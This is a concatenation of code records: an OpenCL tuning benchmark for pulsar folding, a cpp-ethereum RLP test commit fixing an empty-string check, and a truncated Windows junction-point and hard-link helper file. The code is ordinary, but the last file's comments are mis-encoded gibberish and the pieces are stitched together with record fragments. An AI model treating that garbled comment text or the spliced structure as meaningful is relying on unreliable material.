and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n#include <fstream>\n#include <iomanip>\n#include <limits>\n#include <cmath>\nusing std::cout;\nusing std::cerr;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::exception;\nusing std::ofstream;\nusing std::fixed;\nusing std::setprecision;\nusing std::numeric_limits;\n\n#include <ArgumentList.hpp>\n#include <Observation.hpp>\n#include <InitializeOpenCL.hpp>\n#include <CLData.hpp>\n#include <utils.hpp>\n#include <Folding.hpp>\n#include <Timer.hpp>\nusing isa::utils::ArgumentList;\nusing isa::utils::toStringValue;\nusing isa::utils::Timer;\nusing AstroData::Observation;\nusing isa::OpenCL::initializeOpenCL;\nusing isa::OpenCL::CLData;\nusing PulsarSearch::Folding;\n\ntypedef float dataType;\nconst string typeName(\"float\");\nconst unsigned int maxThreadsPerBlock = 1024;\nconst unsigned int maxThreadsMultiplier = 512;\nconst unsigned int maxItemsPerThread = 256;\nconst unsigned int maxItemsMultiplier = 256;\nconst unsigned int padding = 32;\n\n\/\/ Common parameters\nconst unsigned int nrBeams = 1;\nconst unsigned int nrStations = 64;\n\/\/ LOFAR\n\/*const float minFreq = 138.965f;\nconst float channelBandwidth = 0.195f;\nconst unsigned int nrSamplesPerSecond = 200000;\nconst unsigned int nrChannels = 32;*\/\n\/\/ Apertif\nconst float minFreq = 1425.0f;\nconst float channelBandwidth = 0.2929f;\nconst unsigned int nrSamplesPerSecond = 20000;\nconst unsigned int nrChannels = 1024;\n\/\/ Periods\nconst unsigned int nrBins = 256;\n\n\nint main(int argc, char * argv[]) {\n\tunsigned int lowerNrThreads = 0;\n\tunsigned int nrIterations = 0;\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tObservation< dataType > observation(\"FoldingTuning\", typeName);\n\tCLData< dataType > * dedispersedData = new CLData< dataType >(\"DedispersedData\", true);\n\tCLData< dataType > * foldedData = new CLData<dataType >(\"FoldedData\", true);\n\tCLData< unsigned int > * counterData = new CLData< unsigned int >(\"CounterData\", true);\n\n\n\ttry {\n\t\tArgumentList args(argc, argv);\n\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n\t\tnrIterations = args.getSwitchArgument< unsigned int >(\"-iterations\");\n\t\tobservation.setNrDMs(args.getSwitchArgument< unsigned int >(\"-dms\"));\n\t\tlowerNrThreads = args.getSwitchArgument< unsigned int >(\"-lnt\");\n\t\tobservation.setNrPeriods(args.getSwitchArgument< unsigned int >(\"-periods\"));\n\t} catch ( exception & err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\n\t\/\/ Setup of the observation\n\tobservation.setPadding(padding);\n\tobservation.setNrSamplesPerSecond(nrSamplesPerSecond);\n\tobservation.setNrBins(nrBins);\n\t\n\tcl::Context * clContext = new cl::Context();\n\tvector< cl::Platform > * clPlatforms = new vector< cl::Platform >();\n\tvector< cl::Device > * clDevices = new vector< cl::Device >();\n\tvector< vector< cl::CommandQueue > > * clQueues = new vector< vector < cl::CommandQueue > >();\n\t\n\tinitializeOpenCL(clPlatformID, 1, clPlatforms, clContext, clDevices, clQueues);\n\n\tcout << fixed << endl;\n\tcout << \"# nrDMs nrPeriods nrDMsPerBlock nrPeriodsPerBlock nrBinsPerBlock nrDMsPerThread nrPeriodsPerThread nrBinsPerThread GFLOP\/s err time err\" << endl << endl;\n\n\t\/\/ Allocate memory\n\tdedispersedData->allocateHostData(observation.getNrSamplesPerSecond() * observation.getNrPaddedDMs());\n\tfoldedData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tfoldedData->blankHostData();\n\tcounterData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tcounterData->blankHostData();\n\n\tdedispersedData->setCLContext(clContext);\n\tdedispersedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tfoldedData->setCLContext(clContext);\n\tfoldedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tcounterData->setCLContext(clContext);\n\tcounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\n\ttry {\n\t\tdedispersedData->allocateDeviceData();\n\t\tfoldedData->allocateDeviceData();\n\t\tfoldedData->copyHostToDevice();\n\t\tcounterData->allocateDeviceData();\n\t\tcounterData->copyHostToDevice();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t}\n\n\t\/\/ Find the parameters\n\tvector< vector< unsigned int > > configurations;\n\tfor ( unsigned int DMsPerBlock = lowerNrThreads; DMsPerBlock <= maxThreadsPerBlock; DMsPerBlock++ ) {\n\t\tif ( observation.getNrDMs() % DMsPerBlock != 0 ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tfor ( unsigned int periodsPerBlock = 1; periodsPerBlock <= maxThreadsMultiplier; periodsPerBlock++ ) {\n\t\t\tif ( observation.getNrPeriods() % periodsPerBlock != 0 ) {\n\t\t\t\tcontinue;\n\t\t\t} else if ( DMsPerBlock * periodsPerBlock > maxThreadsPerBlock ) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tfor ( unsigned int binsPerBlock = 1; binsPerBlock <= maxThreadsMultiplier; binsPerBlock++ ) {\n\t\t\t\tif ( observation.getNrBins() % binsPerBlock != 0 ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t} else if ( DMsPerBlock * periodsPerBlock * binsPerBlock > maxThreadsPerBlock ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tfor ( unsigned int DMsPerThread = 1; DMsPerThread <= maxItemsPerThread; DMsPerThread++ ) {\n\t\t\t\t\tif ( observation.getNrDMs() % (DMsPerBlock * DMsPerThread) != 0 ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tfor ( unsigned int periodsPerThread = 1; periodsPerThread <= maxItemsMultiplier; periodsPerThread++ ) {\n\t\t\t\t\t\tif ( observation.getNrPeriods() % (periodsPerBlock * periodsPerThread) != 0 ) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t} else if ( (DMsPerThread + (2 * periodsPerThread)) + (2 * DMsPerThread * periodsPerThread) > maxItemsPerThread ) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor ( unsigned int binsPerThread = 1; binsPerThread <= maxItemsMultiplier; binsPerThread++ ) {\n\t\t\t\t\t\t\tif ( observation.getNrBins() % (binsPerBlock * binsPerThread) != 0 ) {\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t} else if ( (DMsPerThread + (2 * periodsPerThread) + binsPerThread) + (2 * DMsPerThread * periodsPerThread * binsPerThread) > maxItemsPerThread ) {\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tvector< unsigned int > parameters;\n\n\t\t\t\t\t\t\tparameters.push_back(DMsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(periodsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(binsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(DMsPerThread);\n\t\t\t\t\t\t\tparameters.push_back(periodsPerThread);\n\t\t\t\t\t\t\tparameters.push_back(binsPerThread);\n\n\t\t\t\t\t\t\tconfigurations.push_back(parameters);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor ( vector< vector< unsigned int > >::const_iterator parameters = configurations.begin(); parameters != configurations.end(); parameters++ ) {\n\t\tdouble Acur = 0.0;\n\t\tdouble Aold = 0.0;\n\t\tdouble Vcur = 0.0;\n\t\tdouble Vold = 0.0;\n\n\t\ttry {\n\t\t\t\/\/ Generate kernel\n\t\t\tFolding< dataType > clFold(\"clFold\", typeName);\n\t\t\tclFold.bindOpenCL(clContext, &(clDevices->at(clDeviceID)), &((clQueues->at(clDeviceID)).at(0)));\n\t\t\tclFold.setObservation(&observation);\n\t\t\tclFold.setNrDMsPerBlock((*parameters)[0]);\n\t\t\tclFold.setNrPeriodsPerBlock((*parameters)[1]);\n\t\t\tclFold.setNrBinsPerBlock((*parameters)[2]);\n\t\t\tclFold.setNrDMsPerThread((*parameters)[3]);\n\t\t\tclFold.setNrPeriodsPerThread((*parameters)[4]);\n\t\t\tclFold.setNrBinsPerThread((*parameters)[5]);\n\t\t\tclFold.generateCode();\n\n\t\t\tclFold(dedispersedData, foldedData, counterData);\n\t\t\t(clFold.getTimer()).reset();\n\t\t\tfor ( unsigned int iteration = 0; iteration < nrIterations; iteration++ ) {\n\t\t\t\tclFold(dedispersedData, foldedData, counterData);\n\t\t\t\t\n\t\t\t\tif ( iteration == 0 ) {\n\t\t\t\t\tAcur = clFold.getGFLOP() \/ clFold.getTimer().getLastRunTime();\n\t\t\t\t} else {\n\t\t\t\t\tAold = Acur;\n\t\t\t\t\tVold = Vcur;\n\n\t\t\t\t\tAcur = Aold + (((clFold.getGFLOP() \/ clFold.getTimer().getLastRunTime()) - Aold) \/ (iteration + 1));\n\t\t\t\t\tVcur = Vold + (((clFold.getGFLOP() \/ clFold.getTimer().getLastRunTime()) - Aold) * ((clFold.getGFLOP() \/ clFold.getTimer().getLastRunTime()) - Acur));\n\t\t\t\t}\n\t\t\t}\n\t\t\tVcur = sqrt(Vcur \/ nrIterations);\n\n\t\t\tcout << observation.getNrDMs() << \" \" << observation.getNrPeriods() << \" \" << (*parameters)[0] << \" \" << (*parameters)[1] << \" \" << (*parameters)[2] << \" \" << (*parameters)[3] << \" \" << (*parameters)[4] << \" \" << (*parameters)[5] << \" \" << setprecision(3) << Acur << \" \" << Vcur << \" \" << setprecision(6) << clFold.getTimer().getAverageTime() << \" \" << clFold.getTimer().getStdDev() << endl;\n\t\t} catch ( OpenCLError err ) {\n\t\t\tcerr << err.what() << endl;\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\tcout << endl;\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file rlp.cpp\n * @author Gav Wood <i@gavwood.com>\n * @date 2014\n * RLP test functions.\n *\/\n\n#include <fstream>\n#include <sstream>\n#include <libdevcore\/Log.h>\n#include <libdevcore\/RLP.h>\n#include <libdevcore\/Common.h>\n#include <libdevcore\/CommonIO.h>\n#include <boost\/test\/unit_test.hpp>\n#include <algorithm>\n#include \"JsonSpiritHeaders.h\"\n\nusing namespace std;\nusing namespace dev;\nnamespace js = json_spirit;\n\nnamespace dev\n{\n\tnamespace test\n\t{\n\t\tstatic void buildRLP(js::mValue& _v, RLPStream& _rlp)\n\t\t{\n\t\t\tif (_v.type() == js::array_type)\n\t\t\t{\n\t\t\t\tRLPStream s;\n\t\t\t\tfor (auto& i: _v.get_array())\n\t\t\t\t\tbuildRLP(i, s);\n\t\t\t\t_rlp.appendList(s.out());\n\t\t\t}\n\t\t\telse if (_v.type() == js::int_type)\n\t\t\t\t_rlp.append(_v.get_uint64());\n\t\t\telse if (_v.type() == js::str_type)\n\t\t\t{\n\t\t\t\tauto s = _v.get_str();\n\t\t\t\tif (s.size() && s[0] == '#')\n\t\t\t\t\t_rlp.append(bigint(s.substr(1)));\n\t\t\t\telse\n\t\t\t\t\t_rlp.append(s);\n\t\t\t}\n\t\t}\n\n\t\tstatic void getRLPTestCases(js::mValue& v)\n\t\t{\n\t\t\tstring s = asString(contents(\"..\/..\/..\/tests\/rlptest.json\"));\n\t\t\tBOOST_REQUIRE_MESSAGE( s.length() > 0, \n\t\t\t\t\"Contents of 'rlptest.json' is empty. Have you cloned the 'tests' repo branch develop?\"); \n\t\t\tjs::read_string(s, v);\n\t\t} \t\n\n\t\tstatic void checkRLPTestCase(js::mObject& o)\n\t\t{ \n\t\t\tBOOST_REQUIRE( o.count(\"in\") > 0 ); \n\t\t\tBOOST_REQUIRE( o.count(\"out\") > 0 ); \n\t\t\tBOOST_REQUIRE(!o[\"out\"].is_null());\t\t\t\n\t\t} \n\n\t\tstatic void checkRLPAgainstJson(js::mValue& v, RLP& u)\n\t\t{\n\t\t\tif ( v.type() == js::str_type ) \n\t\t\t{ \n\t\t\t\tconst std::string& expectedText = v.get_str();\n\t\t\t\tif ( expectedText.front() == '#' ) \n\t\t\t\t{ \n\t\t\t\t\t\/\/ Deal with bigint instead of a raw string \n\t\t\t\t\tstd::string bigIntStr = expectedText.substr(1,expectedText.length()-1); \n\t\t\t\t\tstd::stringstream bintStream(bigIntStr); \n\t\t\t\t\tbigint val; \n\t\t\t\t\tbintStream >> val; \n\t\t\t\t\tBOOST_CHECK( !u.isList() ); \n\t\t\t\t\tBOOST_CHECK( !u.isNull() );\n\t\t\t\t\tBOOST_CHECK( u ); \/\/ operator bool()\n\t\t\t\t\tBOOST_CHECK(u == val); \n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{ \n\t\t\t\t\tBOOST_CHECK( !u.isList() ); \n\t\t\t\t\tBOOST_CHECK( !u.isNull() ); \n\t\t\t\t\tBOOST_CHECK( u.isData() ); \n\t\t\t\t\tBOOST_CHECK( u ); \n\t\t\t\t\tBOOST_CHECK( u.size() == expectedText.length() ); \n\t\t\t\t\tBOOST_CHECK(u == expectedText); \n\t\t\t\t}\n\t\t\t} \n\t\t\telse if ( v.type() == js::int_type ) \n\t\t\t{ \n\t\t\t\tconst int expectedValue = v.get_int(); \n\t\t\t\tBOOST_CHECK( u.isInt() ); \n\t\t\t\tBOOST_CHECK( !u.isList() ); \n\t\t\t\tBOOST_CHECK( !u.isNull() );\n\t\t\t\tBOOST_CHECK( u ); \/\/ operator bool()\n\t\t\t\tBOOST_CHECK(u == expectedValue); \n\t\t\t} \n\t\t\telse if ( v.type() == js::array_type ) \n\t\t\t{ \n\t\t\t\tBOOST_CHECK( u.isList() ); \n\t\t\t\tBOOST_CHECK( !u.isInt() ); \n\t\t\t\tBOOST_CHECK( !u.isData() ); \n\t\t\t\tjs::mArray& arr = v.get_array(); \n\t\t\t\tBOOST_CHECK( u.itemCount() == arr.size() ); \n\t\t\t\tunsigned i; \n\t\t\t\tfor( i = 0; i < arr.size(); i++ ) \n\t\t\t\t{ \n\t\t\t\t\tRLP item = u[i]; \n\t\t\t\t\tcheckRLPAgainstJson(arr[i], item); \n\t\t\t\t} \n\t\t\t} \n\t\t\telse \n\t\t\t{ \n\t\t\t\tBOOST_ERROR(\"Invalid Javascript object!\");\n\t\t\t} \n\t\t\t\n\t\t} \n\t}\n} \n\n\nBOOST_AUTO_TEST_CASE(rlp_encoding_test)\n{\n\tcnote << \"Testing RLP Encoding...\";\n\tjs::mValue v;\n\tdev::test::getRLPTestCases(v);\n\n\tfor (auto& i: v.get_obj())\n\t{\n\t\tjs::mObject& o = i.second.get_obj();\n\t\tcnote << i.first;\n\t\tdev::test::checkRLPTestCase(o);\n\n\t\tRLPStream s;\n\t\tdev::test::buildRLP(o[\"in\"], s);\n\n\t\tstd::string expectedText(o[\"out\"].get_str()); \n\t\tstd::transform(expectedText.begin(), expectedText.end(), expectedText.begin(), ::tolower ); \n\n\t\tconst std::string& computedText = toHex(s.out()); \n\n\t\tstd::stringstream msg; \n\t\tmsg << \"Encoding Failed: expected: \" << expectedText << std::endl;\n\t\tmsg << \" But Computed: \" << computedText; \n\n\t\tBOOST_CHECK_MESSAGE(\n\t\t\texpectedText == computedText, \n\t\t\tmsg.str()\n\t\t\t); \n\t}\n\n}\n\nBOOST_AUTO_TEST_CASE(rlp_decoding_test)\n{\n\tcnote << \"Testing RLP decoding...\"; \n\t\/\/ Uses the same test cases as encoding but in reverse. \n\t\/\/ We read into the string of hex values, convert to bytes, \n\t\/\/ and then compare the output structure to the json of the \n\t\/\/ input object. \n\tjs::mValue v;\n\tdev::test::getRLPTestCases(v);\n\tfor (auto& i: v.get_obj())\n\t{\n\t\tjs::mObject& o = i.second.get_obj();\n\t\tcnote << i.first;\n\t\tdev::test::checkRLPTestCase(o);\n\t\t\n\t\tjs::mValue& inputData = o[\"in\"];\n\t\tbytes payloadToDecode = fromHex(o[\"out\"].get_str()); \n\n\t\tRLP payload(payloadToDecode); \n\n\t\tdev::test::checkRLPAgainstJson(inputData, payload);\n\n\t}\n}\n\n\n<commit_msg>test\/rlp bugfix: expectedText can be empty<commit_after>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file rlp.cpp\n * @author Gav Wood <i@gavwood.com>\n * @date 2014\n * RLP test functions.\n *\/\n\n#include <fstream>\n#include <sstream>\n#include <libdevcore\/Log.h>\n#include <libdevcore\/RLP.h>\n#include <libdevcore\/Common.h>\n#include <libdevcore\/CommonIO.h>\n#include <boost\/test\/unit_test.hpp>\n#include <algorithm>\n#include \"JsonSpiritHeaders.h\"\n\nusing namespace std;\nusing namespace dev;\nnamespace js = json_spirit;\n\nnamespace dev\n{\n\tnamespace test\n\t{\n\t\tstatic void buildRLP(js::mValue& _v, RLPStream& _rlp)\n\t\t{\n\t\t\tif (_v.type() == js::array_type)\n\t\t\t{\n\t\t\t\tRLPStream s;\n\t\t\t\tfor (auto& i: _v.get_array())\n\t\t\t\t\tbuildRLP(i, s);\n\t\t\t\t_rlp.appendList(s.out());\n\t\t\t}\n\t\t\telse if (_v.type() == js::int_type)\n\t\t\t\t_rlp.append(_v.get_uint64());\n\t\t\telse if (_v.type() == js::str_type)\n\t\t\t{\n\t\t\t\tauto s = _v.get_str();\n\t\t\t\tif (s.size() && s[0] == '#')\n\t\t\t\t\t_rlp.append(bigint(s.substr(1)));\n\t\t\t\telse\n\t\t\t\t\t_rlp.append(s);\n\t\t\t}\n\t\t}\n\n\t\tstatic void getRLPTestCases(js::mValue& v)\n\t\t{\n\t\t\tstring s = asString(contents(\"..\/..\/..\/tests\/rlptest.json\"));\n\t\t\tBOOST_REQUIRE_MESSAGE( s.length() > 0, \n\t\t\t\t\"Contents of 'rlptest.json' is empty. Have you cloned the 'tests' repo branch develop?\"); \n\t\t\tjs::read_string(s, v);\n\t\t} \t\n\n\t\tstatic void checkRLPTestCase(js::mObject& o)\n\t\t{ \n\t\t\tBOOST_REQUIRE( o.count(\"in\") > 0 ); \n\t\t\tBOOST_REQUIRE( o.count(\"out\") > 0 ); \n\t\t\tBOOST_REQUIRE(!o[\"out\"].is_null());\t\t\t\n\t\t} \n\n\t\tstatic void checkRLPAgainstJson(js::mValue& v, RLP& u)\n\t\t{\n\t\t\tif ( v.type() == js::str_type ) \n\t\t\t{ \n\t\t\t\tconst std::string& expectedText = v.get_str();\n\t\t\t\tif ( !expectedText.empty() && expectedText.front() == '#' ) \n\t\t\t\t{ \n\t\t\t\t\t\/\/ Deal with bigint instead of a raw string \n\t\t\t\t\tstd::string bigIntStr = expectedText.substr(1,expectedText.length()-1); \n\t\t\t\t\tstd::stringstream bintStream(bigIntStr); \n\t\t\t\t\tbigint val; \n\t\t\t\t\tbintStream >> val; \n\t\t\t\t\tBOOST_CHECK( !u.isList() ); \n\t\t\t\t\tBOOST_CHECK( !u.isNull() );\n\t\t\t\t\tBOOST_CHECK( u ); \/\/ operator bool()\n\t\t\t\t\tBOOST_CHECK(u == val); \n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{ \n\t\t\t\t\tBOOST_CHECK( !u.isList() ); \n\t\t\t\t\tBOOST_CHECK( !u.isNull() ); \n\t\t\t\t\tBOOST_CHECK( u.isData() ); \n\t\t\t\t\tBOOST_CHECK( u ); \n\t\t\t\t\tBOOST_CHECK( u.size() == expectedText.length() ); \n\t\t\t\t\tBOOST_CHECK(u == expectedText); \n\t\t\t\t}\n\t\t\t} \n\t\t\telse if ( v.type() == js::int_type ) \n\t\t\t{ \n\t\t\t\tconst int expectedValue = v.get_int(); \n\t\t\t\tBOOST_CHECK( u.isInt() ); \n\t\t\t\tBOOST_CHECK( !u.isList() ); \n\t\t\t\tBOOST_CHECK( !u.isNull() );\n\t\t\t\tBOOST_CHECK( u ); \/\/ operator bool()\n\t\t\t\tBOOST_CHECK(u == expectedValue); \n\t\t\t} \n\t\t\telse if ( v.type() == js::array_type ) \n\t\t\t{ \n\t\t\t\tBOOST_CHECK( u.isList() ); \n\t\t\t\tBOOST_CHECK( !u.isInt() ); \n\t\t\t\tBOOST_CHECK( !u.isData() ); \n\t\t\t\tjs::mArray& arr = v.get_array(); \n\t\t\t\tBOOST_CHECK( u.itemCount() == arr.size() ); \n\t\t\t\tunsigned i; \n\t\t\t\tfor( i = 0; i < arr.size(); i++ ) \n\t\t\t\t{ \n\t\t\t\t\tRLP item = u[i]; \n\t\t\t\t\tcheckRLPAgainstJson(arr[i], item); \n\t\t\t\t} \n\t\t\t} \n\t\t\telse \n\t\t\t{ \n\t\t\t\tBOOST_ERROR(\"Invalid Javascript object!\");\n\t\t\t} \n\t\t\t\n\t\t} \n\t}\n} \n\n\nBOOST_AUTO_TEST_CASE(rlp_encoding_test)\n{\n\tcnote << \"Testing RLP Encoding...\";\n\tjs::mValue v;\n\tdev::test::getRLPTestCases(v);\n\n\tfor (auto& i: v.get_obj())\n\t{\n\t\tjs::mObject& o = i.second.get_obj();\n\t\tcnote << i.first;\n\t\tdev::test::checkRLPTestCase(o);\n\n\t\tRLPStream s;\n\t\tdev::test::buildRLP(o[\"in\"], s);\n\n\t\tstd::string expectedText(o[\"out\"].get_str()); \n\t\tstd::transform(expectedText.begin(), expectedText.end(), expectedText.begin(), ::tolower ); \n\n\t\tconst std::string& computedText = toHex(s.out()); \n\n\t\tstd::stringstream msg; \n\t\tmsg << \"Encoding Failed: expected: \" << expectedText << std::endl;\n\t\tmsg << \" But Computed: \" << computedText; \n\n\t\tBOOST_CHECK_MESSAGE(\n\t\t\texpectedText == computedText, \n\t\t\tmsg.str()\n\t\t\t); \n\t}\n\n}\n\nBOOST_AUTO_TEST_CASE(rlp_decoding_test)\n{\n\tcnote << \"Testing RLP decoding...\"; \n\t\/\/ Uses the same test cases as encoding but in reverse. \n\t\/\/ We read into the string of hex values, convert to bytes, \n\t\/\/ and then compare the output structure to the json of the \n\t\/\/ input object. \n\tjs::mValue v;\n\tdev::test::getRLPTestCases(v);\n\tfor (auto& i: v.get_obj())\n\t{\n\t\tjs::mObject& o = i.second.get_obj();\n\t\tcnote << i.first;\n\t\tdev::test::checkRLPTestCase(o);\n\t\t\n\t\tjs::mValue& inputData = o[\"in\"];\n\t\tbytes payloadToDecode = fromHex(o[\"out\"].get_str()); \n\n\t\tRLP payload(payloadToDecode); \n\n\t\tdev::test::checkRLPAgainstJson(inputData, payload);\n\n\t}\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\nflink.cpp\n\n ࠧ 㭪権 ࠡ⪥ Link` - Hard&Sym\n\n*\/\n\n\/* Revision: 1.04 05.01.2001 $ *\/\n\n\/*\nModify:\n 05.01.2001 SVS\n + 㭪 GetSubstName - ॥堫 mix.cpp\n + 㭪 DelSubstDrive - 㤠 Subst ࠩ\n 05.01.2000 OT\n - ᬥ⨪, - ன VC :)\n 04.01.2001 SVS\n + 誨 CreateJunctionPoint, DeleteJunctionPoint\n + GetJunctionPointInfo - Junc\n 03.01.2001 SVS\n ! 뤥 ⢥ ᠬ⥫쭮 \n + GetNumberOfLinks MkLink ॥堫 mix.cpp\n*\/\n\n#include \"headers.hpp\"\n#pragma hdrstop\n\n#include \"internalheaders.hpp\"\n\n\n\/\/#if defined(__BORLANDC__)\n\/\/ current thread's ANSI code page\n #define CP_THREAD_ACP 3\n\n #define MAXIMUM_REPARSE_DATA_BUFFER_SIZE ( 16 * 1024 )\n \/\/ Predefined reparse tags.\n \/\/ These tags need to avoid conflicting with IO_REMOUNT defined in ntos\\inc\\io.h\n #define IO_REPARSE_TAG_RESERVED_ZERO (0)\n #define IO_REPARSE_TAG_RESERVED_ONE (1)\n\n \/\/ The value of the following constant needs to satisfy the following conditions:\n \/\/ (1) Be at least as large as the largest of the reserved tags.\n \/\/ (2) Be strictly smaller than all the tags in use.\n #define IO_REPARSE_TAG_RESERVED_RANGE IO_REPARSE_TAG_RESERVED_ONE\n \/\/ The following constant represents the bits that are valid to use in\n \/\/ reparse tags.\n #define IO_REPARSE_TAG_VALID_VALUES (0xE000FFFF)\n \/\/ Macro to determine whether a reparse tag is a valid tag.\n #define IsReparseTagValid(_tag) ( \\\n !((_tag) & ~IO_REPARSE_TAG_VALID_VALUES) && \\\n ((_tag) > IO_REPARSE_TAG_RESERVED_RANGE) \\\n )\n #define FILE_FLAG_OPEN_REPARSE_POINT 0x00200000\n #define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\/\/ REPARSE_DATA_BUFFER\n\/\/#endif\nstruct TMN_REPARSE_DATA_BUFFER\n{\n DWORD ReparseTag;\n WORD ReparseDataLength;\n WORD Reserved;\n\n \/\/ IO_REPARSE_TAG_MOUNT_POINT specifics follow\n WORD SubstituteNameOffset;\n WORD SubstituteNameLength;\n WORD PrintNameOffset;\n WORD PrintNameLength;\n WCHAR PathBuffer[1];\n\n \/\/ Some helper functions\n \/\/BOOL Init(LPCSTR szJunctionPoint);\n \/\/BOOL Init(LPCWSTR wszJunctionPoint);\n \/\/int BytesForIoControl() const;\n};\n\n\nBOOL WINAPI CreateJunctionPoint(LPCTSTR szMountDir, LPCTSTR szDestDirArg)\n{\n return TRUE;\n}\n\nBOOL WINAPI DeleteJunctionPoint(LPCTSTR szDir)\n{\n return TRUE;\n}\n\nDWORD WINAPI GetJunctionPointInfo(LPCTSTR szMountDir,\n LPTSTR szDestBuff,\n DWORD dwBuffSize)\n{\n const DWORD FileAttr = GetFileAttributes(szMountDir);\n if (FileAttr == 0xffffffff || !(FileAttr & FILE_ATTRIBUTE_REPARSE_POINT))\n {\n SetLastError(ERROR_PATH_NOT_FOUND);\n return 0;\n }\n\n HANDLE hDir=CreateFile(szMountDir,GENERIC_READ|0,0,0,OPEN_EXISTING,\n FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,0);\n\n if (hDir == INVALID_HANDLE_VALUE)\n {\n SetLastError(ERROR_PATH_NOT_FOUND);\n return 0;\n }\n\n char szBuff[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];\n TMN_REPARSE_DATA_BUFFER& rdb = *(TMN_REPARSE_DATA_BUFFER*)szBuff;\n\n DWORD dwBytesReturned;\n if (!DeviceIoControl(hDir,\n FSCTL_GET_REPARSE_POINT,\n NULL,\n 0,\n (LPVOID)&rdb,\n MAXIMUM_REPARSE_DATA_BUFFER_SIZE,\n &dwBytesReturned,\n 0) ||\n !IsReparseTagValid(rdb.ReparseTag))\n {\n CloseHandle(hDir);\n return 0;\n }\n\n CloseHandle(hDir);\n\n if (dwBuffSize < rdb.SubstituteNameLength \/ sizeof(TCHAR) + sizeof(TCHAR))\n {\n return rdb.SubstituteNameLength \/ sizeof(TCHAR) + sizeof(TCHAR);\n }\n\n#ifdef UNICODE\n lstrcpy(szDestBuff, rdb.PathBuffer);\n#else\n if (!WideCharToMultiByte(CP_THREAD_ACP,\n 0,\n rdb.PathBuffer,\n rdb.SubstituteNameLength \/ sizeof(WCHAR) + 1,\n szDestBuff,\n dwBuffSize,\n \"\",\n FALSE))\n {\n \/\/printf(\"WideCharToMultiByte failed (%d)\\n\", GetLastError());\n return 0;\n }\n#endif\n return rdb.SubstituteNameLength \/ sizeof(TCHAR);\n}\n\n\n\/* $ 07.09.2000 SVS\n 㭪 GetNumberOfLinks ⮦ 㯭 :-)\n*\/\nint WINAPI GetNumberOfLinks(char *Name)\n{\n HANDLE hFile=CreateFile(Name,0,FILE_SHARE_READ|FILE_SHARE_WRITE,\n NULL,OPEN_EXISTING,0,NULL);\n if (hFile==INVALID_HANDLE_VALUE)\n return(1);\n BY_HANDLE_FILE_INFORMATION bhfi;\n int GetCode=GetFileInformationByHandle(hFile,&bhfi);\n CloseHandle(hFile);\n return(GetCode ? bhfi.nNumberOfLinks:0);\n}\n\/* SVS $*\/\n\n\n#if defined(__BORLANDC__)\n#pragma option 